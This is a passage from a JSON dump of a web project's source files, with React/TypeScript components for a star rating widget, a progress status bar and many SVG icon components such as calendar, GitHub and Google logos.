<SkipForward className=\"mr-1 h-4\" />\n          <span>Skipped</span>\n          <span className=\"ml-2 rounded-md bg-gray-200/80 px-1.5 font-medium text-black\">\n            <span className=\"tabular-nums\">{skippedCount}</span> Items\n          </span>\n        </span>\n\n        <button\n          disabled={isLoading}\n          onClick={onResetClick}\n          className=\"flex items-center text-red-600 transition-opacity duration-300 hover:text-red-900 disabled:opacity-50\"\n        >\n          <RotateCcw className=\"mr-1 h-4\" />\n          Reset\n          <span className=\"inline lg:hidden\">Progress</span>\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Rating/Rating.tsx",
    "content": "import { useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport { decimalIfNeeded } from '../../lib/number.ts';\n\ntype RatingProps = {\n  rating?: number;\n  onRatingChange?: (rating: number) => void;\n  starSize?: number;\n  readOnly?: boolean;\n  className?: string;\n  total?: number;\n};\n\nexport function Rating(props: RatingProps) {\n  const {\n    rating = 0,\n    starSize,\n    className,\n    onRatingChange,\n    readOnly = false,\n  } = props;\n\n  const [stars, setStars] = useState(Number(rating.toFixed(2)));\n  const starCount = Math.floor(stars);\n  const decimalWidthPercentage = Math.min((stars - starCount) * 100, 100);\n\n  return (\n    <div className={cn('flex', className)}>\n      {[1, 2, 3, 4, 5].map((counter) => {\n        const isActive = counter <= starCount;\n        const hasDecimal = starCount + 1 === counter;\n\n        return (\n          <RatingStar\n            key={`start-${counter}`}\n            starSize={starSize}\n            widthPercentage={\n              isActive ? 100 : hasDecimal ? decimalWidthPercentage : 0\n            }\n            onClick={() => {\n              if (readOnly) {\n                return;\n              }\n\n              setStars(counter);\n              onRatingChange?.(counter);\n            }}\n            readOnly={readOnly}\n          />\n        );\n      })}\n      {(props.total || 0) > 0 && (\n        <>\n          <span className=\"ml-1.5 text-xs font-medium text-gray-400\">\n            {decimalIfNeeded(Number(props.rating!))}\n          </span>\n          <span className=\"ml-1 text-xs text-gray-400\">\n            ({Intl.NumberFormat('en-US').format(props.total!)})\n          </span>\n        </>\n      )}\n    </div>\n  );\n}\n\ntype RatingStarProps = {\n  starSize?: number;\n  onClick: () => void;\n  widthPercentage?: number;\n  readOnly: boolean;\n};\n\nfunction RatingStar(props: RatingStarProps) {\n  const { onClick, widthPercentage = 100, starSize = 20, readOnly } = props;\n\n  return (\n    <div\n      className=\"relative block cursor-pointer text-gray-300 disabled:cursor-default aria-disabled:cursor-default\"\n      style={{\n        width: `${starSize}px`,\n        height: `${starSize}px`,\n      }}\n      onClick={onClick}\n      aria-disabled={readOnly}\n      role=\"button\"\n    >\n      <span className=\"absolute inset-0\">\n        <svg\n          xmlns=\"http://www.w3.org/2000/svg\"\n          viewBox=\"0 0 24 24\"\n          stroke=\"currentColor\"\n          strokeWidth=\"2\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          className=\"fill-none\"\n          style={{\n            width: `${starSize}px`,\n            height: `${starSize}px`,\n          }}\n        >\n          <polygon points=\"12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2\" />\n        </svg>\n        <span\n          className=\"absolute inset-0 overflow-hidden\"\n          style={{\n            width: `${widthPercentage}%`,\n          }}\n        >\n          <svg\n            xmlns=\"http://www.w3.org/2000/svg\"\n            viewBox=\"0 0 24 24\"\n            strokeWidth=\"2\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            className=\"fill-yellow-400 stroke-yellow-400\"\n            style={{\n              width: `${starSize}px`,\n              height: `${starSize}px`,\n            }}\n          >\n            <polygon points=\"12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2\" />\n          </svg>\n        </span>\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/AITutorLogo.tsx",
    "content": "import type { SVGProps } from 'react';\n\ntype AITutorLogoProps = SVGProps<SVGSVGElement>;\n\nexport function AITutorLogo(props: AITutorLogoProps) {\n  return (\n    <svg\n      viewBox=\"0 0 310 248\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <rect width=\"310\" height=\"247.211\" fill=\"black\" />\n      <path\n        d=\"M205.179 45.1641H263.851V201.278H205.179V45.1641Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M45.1641 45.1743H104.598L104.598 202.048H45.1641L45.1641 45.1743Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M160.984 45.1743V103.716L45.1641 103.716L45.1641 45.1743H160.984Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M125.171 45.1743H184.605V201.284H125.171V45.1743Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M159.841 131.85V173.88L63.8324 173.88L63.8324 131.85H159.841Z\"\n        fill=\"white\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/AddedUserIcon.tsx",
    "content": "type CheckIconProps = {\n  additionalClasses?: string;\n};\n\nexport function AddedUserIcon(props: CheckIconProps) {\n  const { additionalClasses = 'mr-2 w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      className={`relative ${additionalClasses}`}\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n    >\n      <path d=\"M14 19a6 6 0 0 0-12 0\" />\n      <circle cx=\"8\" cy=\"9\" r=\"4\" />\n      <polyline points=\"16 11 18 13 22 9\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/AppleCalendarIcon.tsx",
    "content": "import type { SVGProps } from 'react';\n\nexport function AppleCalendarIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"1736\"\n      height=\"1693\"\n      viewBox=\"0 0 1736 1693\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <rect width=\"1736\" height=\"1693\" fill=\"#ECEFF1\" />\n      <rect x=\"1\" width=\"1734\" height=\"526\" fill=\"#FF3D00\" />\n      <path\n        d=\"M724.689 300.13L750.665 128H805.4L756.691 401.947H701.224L669.269 240.501L637.587 401.947H581.892L533 128H588.101L613.894 299.947L646.032 128H692.505L724.689 300.13Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M976.776 283.419H890.632V356.061H992.617V401.947H835.303V128H992.206V174.069H890.632V238.812H976.776V283.419Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M1024.39 401.947V128H1096.84C1128.79 128 1154.31 138.182 1173.3 158.454C1192.29 178.771 1201.97 206.623 1202.34 242.008V286.433C1202.34 322.411 1192.84 350.673 1173.8 371.219C1154.86 391.674 1128.66 401.947 1095.28 401.947H1024.39ZM1079.72 174.069V356.015H1096.29C1114.73 356.015 1127.7 351.175 1135.23 341.45C1142.76 331.725 1146.73 314.969 1147.1 291.135V243.514C1147.1 217.946 1143.49 200.094 1136.37 189.958C1129.2 179.867 1117.06 174.571 1099.85 174.069H1079.72Z\"\n        fill=\"white\"\n      />\n      <path\n        d=\"M831.353 1451.15H380.138V1345.95L587.348 1082.46C613.643 1045.98 632.999 1013.97 645.462 986.442C657.925 958.91 664.133 932.52 664.133 907.271C664.133 873.256 658.29 846.592 646.512 827.324C634.78 808.056 617.843 798.423 595.748 798.423C571.553 798.423 552.379 809.654 538.182 832.072C523.984 854.536 516.863 886.086 516.863 926.767H367.492C367.492 879.785 377.216 836.821 396.663 797.875C416.111 758.929 443.456 728.703 478.698 707.153C513.941 685.556 553.84 674.781 598.35 674.781C666.735 674.781 719.736 693.638 757.444 731.351C795.152 769.065 814.006 822.621 814.006 892.067C814.006 935.168 803.552 978.954 782.735 1023.29C761.872 1067.67 724.073 1122.27 669.383 1187.11L571.051 1327.55H831.353V1451.15Z\"\n        fill=\"#424242\"\n      />\n      <path\n        d=\"M1354.1 888.871C1354.1 926.036 1346.21 959.001 1330.41 987.766C1314.62 1016.53 1292.89 1039.5 1265.22 1056.66C1296.77 1074.56 1321.69 1099.17 1339.91 1130.58C1358.12 1161.95 1367.25 1198.89 1367.25 1241.3C1367.25 1309.33 1347.62 1363.07 1308.36 1402.52C1269.1 1441.97 1215.6 1461.69 1147.94 1461.69C1080.29 1461.69 1026.47 1441.97 986.475 1402.52C946.53 1363.07 926.535 1309.33 926.535 1241.3C926.535 1198.89 935.62 1161.9 953.88 1130.35C972.095 1098.81 997.203 1074.24 1029.11 1056.71C1001.04 1039.54 979.171 1016.58 963.376 987.811C947.58 959.047 939.683 926.128 939.683 888.916C939.683 821.936 958.445 769.521 995.971 731.625C1033.45 693.729 1083.8 674.781 1146.89 674.781C1210.71 674.781 1261.2 693.912 1298.36 732.127C1335.52 770.343 1354.1 822.576 1354.1 888.871ZM1147.94 1338.05C1170.36 1338.05 1187.66 1328.46 1199.76 1309.38C1211.85 1290.29 1217.88 1263.72 1217.88 1229.71C1217.88 1195.69 1211.58 1169.07 1198.94 1149.76C1186.29 1130.45 1168.94 1120.81 1146.89 1120.81C1124.8 1120.81 1107.36 1130.45 1094.58 1149.76C1081.79 1169.07 1075.36 1195.69 1075.36 1229.71C1075.36 1263.72 1081.75 1290.29 1094.58 1309.38C1107.36 1328.51 1125.16 1338.05 1147.94 1338.05ZM1205.78 896.724C1205.78 866.909 1200.94 843.076 1191.31 825.224C1181.68 807.326 1166.89 798.377 1146.89 798.377C1127.95 798.377 1113.57 807.052 1103.8 824.402C1093.98 841.752 1089.05 865.859 1089.05 896.724C1089.05 926.904 1093.98 951.148 1103.8 969.594C1113.61 987.994 1128.31 997.217 1147.94 997.217C1167.57 997.217 1182.14 987.994 1191.59 969.594C1201.04 951.194 1205.78 926.904 1205.78 896.724Z\"\n        fill=\"#424242\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/BestPracticesIcon.tsx",
    "content": "type BestPracticesIconProps = {\n  className?: string;\n};\nexport function BestPracticesIcon(props: BestPracticesIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"1.5\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <line x1=\"10\" x2=\"21\" y1=\"6\" y2=\"6\"></line>\n      <line x1=\"10\" x2=\"21\" y1=\"12\" y2=\"12\"></line>\n      <line x1=\"10\" x2=\"21\" y1=\"18\" y2=\"18\"></line>\n      <polyline points=\"3 6 4 7 6 5\"></polyline>\n      <polyline points=\"3 12 4 13 6 11\"></polyline>\n      <polyline points=\"3 18 4 19 6 17\"></polyline>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/BuildingIcon.tsx",
    "content": "type BuildingIconProps = {\n  className?: string;\n};\nexport function BuildingIcon(props: BuildingIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <path d=\"M6 22V4a2 2 0 0 1 2-2h8a2 2 0 0 1 2 2v18Z\"></path>\n      <path d=\"M6 12H4a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h2\"></path>\n      <path d=\"M18 9h2a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2h-2\"></path>\n      <path d=\"M10 6h4\"></path>\n      <path d=\"M10 10h4\"></path>\n      <path d=\"M10 14h4\"></path>\n      <path d=\"M10 18h4\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/CheckIcon.tsx",
    "content": "type CheckIconProps = {\n  additionalClasses?: string;\n};\n\nexport function CheckIcon(props: CheckIconProps) {\n  const { additionalClasses = 'mr-2 top-[0.5px] w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      className={`relative ${additionalClasses}`}\n      stroke=\"currentColor\"\n      fill=\"currentColor\"\n      strokeWidth=\"0\"\n      viewBox=\"0 0 16 16\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <path d=\"M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ChevronDownIcon.tsx",
    "content": "type ChevronDownIconProps = {\n  className?: string;\n};\n\nexport function ChevronDownIcon(props: ChevronDownIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M19.5 8.25l-7.5 7.5-7.5-7.5\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ClipboardIcon.tsx",
    "content": "type ClipboardIconProps = {\n  className?: string;\n};\nexport function ClipboardIcon(props: ClipboardIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeWidth=\"1.5\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      className={className}\n    >\n      <rect width=\"8\" height=\"4\" x=\"8\" y=\"2\" rx=\"1\" ry=\"1\" />\n      <path d=\"M16 4h2a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2\" />\n      <path d=\"M12 11h4\" />\n      <path d=\"M12 16h4\" />\n      <path d=\"M8 11h.01\" />\n      <path d=\"M8 16h.01\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/CloseIcon.tsx",
    "content": "type CloseIconProps = {\n  className?: string;\n};\n\nexport function CloseIcon(props: CloseIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path d=\"M18 6 6 18\" /><path d=\"m6 6 12 12\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/CogIcon.tsx",
    "content": "type CogIconProps = {\n  className?: string;\n};\nexport function CogIcon(props: CogIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"2\"\n      stroke=\"currentColor\"\n      className={className}\n    >\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M9.594 3.94c.09-.542.56-.94 1.11-.94h2.593c.55 0 1.02.398 1.11.94l.213 1.281c.063.374.313.686.645.87.074.04.147.083.22.127.324.196.72.257 1.075.124l1.217-.456a1.125 1.125 0 011.37.49l1.296 2.247a1.125 1.125 0 01-.26 1.431l-1.003.827c-.293.24-.438.613-.431.992a6.759 6.759 0 010 .255c-.007.378.138.75.43.99l1.005.828c.424.35.534.954.26 1.43l-1.298 2.247a1.125 1.125 0 01-1.369.491l-1.217-.456c-.355-.133-.75-.072-1.076.124a6.57 6.57 0 01-.22.128c-.331.183-.581.495-.644.869l-.213 1.28c-.09.543-.56.941-1.11.941h-2.594c-.55 0-1.02-.398-1.11-.94l-.213-1.281c-.062-.374-.312-.686-.644-.87a6.52 6.52 0 01-.22-.127c-.325-.196-.72-.257-1.076-.124l-1.217.456a1.125 1.125 0 01-1.369-.49l-1.297-2.247a1.125 1.125 0 01.26-1.431l1.004-.827c.292-.24.437-.613.43-.992a6.932 6.932 0 010-.255c.007-.378-.138-.75-.43-.99l-1.004-.828a1.125 1.125 0 01-.26-1.43l1.297-2.247a1.125 1.125 0 011.37-.491l1.216.456c.356.133.751.072 1.076-.124.072-.044.146-.087.22-.128.332-.183.582-.495.644-.869l.214-1.281z\"\n      />\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M15 12a3 3 0 11-6 0 3 3 0 016 0z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/DeleteUserIcon.tsx",
    "content": "type CheckIconProps = {\n  additionalClasses?: string;\n};\n\nexport function DeleteUserIcon(props: CheckIconProps) {\n  const { additionalClasses = 'mr-2 w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      className={`relative ${additionalClasses}`}\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n    >\n      <path d=\"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2\" />\n      <circle cx=\"9\" cy=\"7\" r=\"4\" />\n      <line x1=\"17\" x2=\"22\" y1=\"8\" y2=\"13\" />\n      <line x1=\"22\" x2=\"17\" y1=\"8\" y2=\"13\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/DropdownIcon.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype DropdownIconProps = {\n  className?: string;\n};\n\nexport function DropdownIcon(props: DropdownIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 24 24\"\n      strokeWidth=\"1.5\"\n      stroke=\"currentColor\"\n      className={cn('h-5 w-5', className)}\n    >\n      <path\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        d=\"M19.5 8.25l-7.5 7.5-7.5-7.5\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ErrorIcon.tsx",
    "content": "type ErrorIconProps = {\n  additionalClasses?: string;\n};\n\nexport function ErrorIcon(props: ErrorIconProps) {\n  const { additionalClasses = 'mr-2 top-[0.5px] w-[20px] h-[20px]' } = props;\n\n  return (\n    <svg\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`relative ${additionalClasses}`}\n    >\n      <path\n        d=\"M12 22C17.5228 22 22 17.5228 22 12C22 6.47715 17.5228 2 12 2C6.47715 2 2 6.47715 2 12C2 17.5228 6.47715 22 12 22Z\"\n        fill=\"currentColor\"\n        stroke=\"currentColor\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M15 9L9 15\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M9 9L15 15\"\n        stroke=\"white\"\n        strokeWidth=\"2\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/ErrorIcon2.tsx",
    "content": "type ErrorIcon2Props = {\n  className?: string;\n};\n\nexport function ErrorIcon2(props: ErrorIcon2Props) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 48 48\"\n      className={className}\n    >\n      <linearGradient\n        id=\"wRKXFJsqHCxLE9yyOYHkza\"\n        x1=\"9.858\"\n        x2=\"38.142\"\n        y1=\"9.858\"\n        y2=\"38.142\"\n        gradientUnits=\"userSpaceOnUse\"\n      >\n        <stop offset=\"0\" stopColor=\"#f44f5a\" />\n        <stop offset=\".443\" stopColor=\"#ee3d4a\" />\n        <stop offset=\"1\" stopColor=\"#e52030\" />\n      </linearGradient>\n      <path\n        fill=\"url(#wRKXFJsqHCxLE9yyOYHkza)\"\n        d=\"M44,24c0,11.045-8.955,20-20,20S4,35.045,4,24S12.955,4,24,4S44,12.955,44,24z\"\n      />\n      <path\n        d=\"M33.192,28.95L28.243,24l4.95-4.95c0.781-0.781,0.781-2.047,0-2.828l-1.414-1.414\tc-0.781-0.781-2.047-0.781-2.828,0L24,19.757l-4.95-4.95c-0.781-0.781-2.047-0.781-2.828,0l-1.414,1.414\tc-0.781,0.781-0.781,2.047,0,2.828l4.95,4.95l-4.95,4.95c-0.781,0.781-0.781,2.047,0,2.828l1.414,1.414\tc0.781,0.781,2.047,0.781,2.828,0l4.95-4.95l4.95,4.95c0.781,0.781,2.047,0.781,2.828,0l1.414-1.414\tC33.973,30.997,33.973,29.731,33.192,28.95z\"\n        opacity=\".05\"\n      />\n      <path\n        d=\"M32.839,29.303L27.536,24l5.303-5.303c0.586-0.586,0.586-1.536,0-2.121l-1.414-1.414\tc-0.586-0.586-1.536-0.586-2.121,0L24,20.464l-5.303-5.303c-0.586-0.586-1.536-0.586-2.121,0l-1.414,1.414\tc-0.586,0.586-0.586,1.536,0,2.121L20.464,24l-5.303,5.303c-0.586,0.586-0.586,1.536,0,2.121l1.414,1.414\tc0.586,0.586,1.536,0.586,2.121,0L24,27.536l5.303,5.303c0.586,0.586,1.536,0.586,2.121,0l1.414-1.414\tC33.425,30.839,33.425,29.889,32.839,29.303z\"\n        opacity=\".07\"\n      />\n      <path\n        fill=\"#fff\"\n        d=\"M31.071,15.515l1.414,1.414c0.391,0.391,0.391,1.024,0,1.414L18.343,32.485\tc-0.391,0.391-1.024,0.391-1.414,0l-1.414-1.414c-0.391-0.391-0.391-1.024,0-1.414l14.142-14.142\tC30.047,15.124,30.681,15.124,31.071,15.515z\"\n      />\n      <path\n        fill=\"#fff\"\n        d=\"M32.485,31.071l-1.414,1.414c-0.391,0.391-1.024,0.391-1.414,0L15.515,18.343\tc-0.391-0.391-0.391-1.024,0-1.414l1.414-1.414c0.391-0.391,1.024-0.391,1.414,0l14.142,14.142\tC32.876,30.047,32.876,30.681,32.485,31.071z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/FacebookIcon.tsx",
    "content": "interface FacebookIconProps {\n  className?: string;\n}\n\nexport function FacebookIcon(props: FacebookIconProps) {\n  const { className } = props;\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 448 512\"\n      fill=\"currentColor\"\n      className={className}\n    >\n      <path d=\"M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z\" />\n    </svg>\n  );\n}"
  },
  {
    "path": "src/components/ReactIcons/FileIcon.tsx",
    "content": "import type { SVGProps } from 'react';\n\nexport function FileIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      x=\"0px\"\n      y=\"0px\"\n      width={100}\n      height={100}\n      viewBox=\"0 0 48 48\"\n      {...props}\n    >\n      <path fill=\"#90CAF9\" d=\"M40 45L8 45 8 3 30 3 40 13z\" />\n      <path fill=\"#E1F5FE\" d=\"M38.5 14L29 14 29 4.5z\" />\n      <path\n        fill=\"#1976D2\"\n        d=\"M16 21H33V23H16zM16 25H29V27H16zM16 29H33V31H16zM16 33H29V35H16z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/GitHubIcon.tsx",
    "content": "type GitHubIconProps = {\n  className?: string;\n};\nexport function GitHubIcon(props: GitHubIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      className={className || ''}\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 98 96\"\n    >\n      <path\n        fillRule=\"evenodd\"\n        d=\"M48.854 0C21.839 0 0 22 0 49.217c0 21.756 13.993 40.172 33.405 46.69 2.427.49 3.316-1.059 3.316-2.362l-.08-9.127c-13.59 2.934-16.42-5.867-16.42-5.867-2.184-5.704-5.42-7.17-5.42-7.17-4.448-3.015.324-3.015.324-3.015 4.934.326 7.523 5.052 7.523 5.052 4.367 7.496 11.404 5.378 14.235 4.074.404-3.178 1.699-5.378 3.074-6.6-10.839-1.141-22.243-5.378-22.243-24.283 0-5.378 1.94-9.778 5.014-13.2-.485-1.222-2.184-6.275.486-13.038 0 0 4.125-1.304 13.426 5.052a46.97 46.97 0 0 1 12.214-1.63c4.125 0 8.33.571 12.213 1.63 9.302-6.356 13.427-5.052 13.427-5.052 2.67 6.763.97 11.816.485 13.038 3.155 3.422 5.015 7.822 5.015 13.2 0 18.905-11.404 23.06-22.324 24.283 1.78 1.548 3.316 4.481 3.316 9.126l-.08 13.526c0 1.304.89 2.853 3.316 2.364 19.412-6.52 33.405-24.935 33.405-46.691C97.707 22 75.788 0 48.854 0z\"\n        fill={ className?.indexOf('text-') !== -1 ? 'currentColor' : '#24292f' }\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/GoogleCalendarIcon.tsx",
    "content": "import type { SVGProps } from 'react';\n\nexport function GoogleCalendarIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      x=\"0px\"\n      y=\"0px\"\n      width=\"100\"\n      height=\"100\"\n      viewBox=\"0 0 48 48\"\n      {...props}\n    >\n      <rect width=\"22\" height=\"22\" x=\"13\" y=\"13\" fill=\"#fff\"></rect>\n      <polygon\n        fill=\"#1e88e5\"\n        points=\"25.68,20.92 26.688,22.36 28.272,21.208 28.272,29.56 30,29.56 30,18.616 28.56,18.616\"\n      ></polygon>\n      <path\n        fill=\"#1e88e5\"\n        d=\"M22.943,23.745c0.625-0.574,1.013-1.37,1.013-2.249c0-1.747-1.533-3.168-3.417-3.168 c-1.602,0-2.972,1.009-3.33,2.453l1.657,0.421c0.165-0.664,0.868-1.146,1.673-1.146c0.942,0,1.709,0.646,1.709,1.44 c0,0.794-0.767,1.44-1.709,1.44h-0.997v1.728h0.997c1.081,0,1.993,0.751,1.993,1.64c0,0.904-0.866,1.64-1.931,1.64 c-0.962,0-1.784-0.61-1.914-1.418L17,26.802c0.262,1.636,1.81,2.87,3.6,2.87c2.007,0,3.64-1.511,3.64-3.368 C24.24,25.281,23.736,24.363,22.943,23.745z\"\n      ></path>\n      <polygon\n        fill=\"#fbc02d\"\n        points=\"34,42 14,42 13,38 14,34 34,34 35,38\"\n      ></polygon>\n      <polygon\n        fill=\"#4caf50\"\n        points=\"38,35 42,34 42,14 38,13 34,14 34,34\"\n      ></polygon>\n      <path\n        fill=\"#1e88e5\"\n        d=\"M34,14l1-4l-1-4H9C7.343,6,6,7.343,6,9v25l4,1l4-1V14H34z\"\n      ></path>\n      <polygon fill=\"#e53935\" points=\"34,34 34,42 42,34\"></polygon>\n      <path fill=\"#1565c0\" d=\"M39,6h-5v8h8V9C42,7.343,40.657,6,39,6z\"></path>\n      <path fill=\"#1565c0\" d=\"M9,42h5v-8H6v5C6,40.657,7.343,42,9,42z\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/GoogleIcon.tsx",
    "content": "type GoogleIconProps = {\n  className?: string;\n};\nexport function GoogleIcon(props: GoogleIconProps) {\n  const { className } = props;\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 90 92\"\n      fill=\"none\"\n      className={className}\n    >\n      <path\n        d=\"M90 47.1c0-3.1-.3-6.3-.8-9.3H45.9v17.7h24.8c-1 5.7-4.3 10.7-9.2 13.9l14.8 11.5C85 72.8 90 61 90 47.1z\"\n        fill=\"#4280ef\"\n      />\n      <path\n        d=\"M45.9 91.9c12.4 0 22.8-4.1 30.4-11.1L61.5 69.4c-4.1 2.8-9.4 4.4-15.6 4.4-12 0-22.1-8.1-25.8-18.9L4.9 66.6c7.8 15.5 23.6 25.3 41 25.3z\"\n        fill=\"#34a353\"\n      />\n      <path\n        d=\"M20.1 54.8c-1.9-5.7-1.9-11.9 0-17.6L4.9 25.4c-6.5 13-6.5 28.3 0 41.2l15.2-11.8z\"\n        fill=\"#f6b704\"\n      />\n      <path\n        d=\"M45.9 18.3c6.5-.1 12.9 2.4 17.6 6.9L76.6 12C68.3 4.2 57.3 0 45.9.1c-17.4 0-33.2 9.8-41 25.3l15.2 11.8c3.7-10.9 13.8-18.9 25.8-18.9z\"\n        fill=\"#e54335\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "src/components/ReactIcons/GroupIcon.tsx",
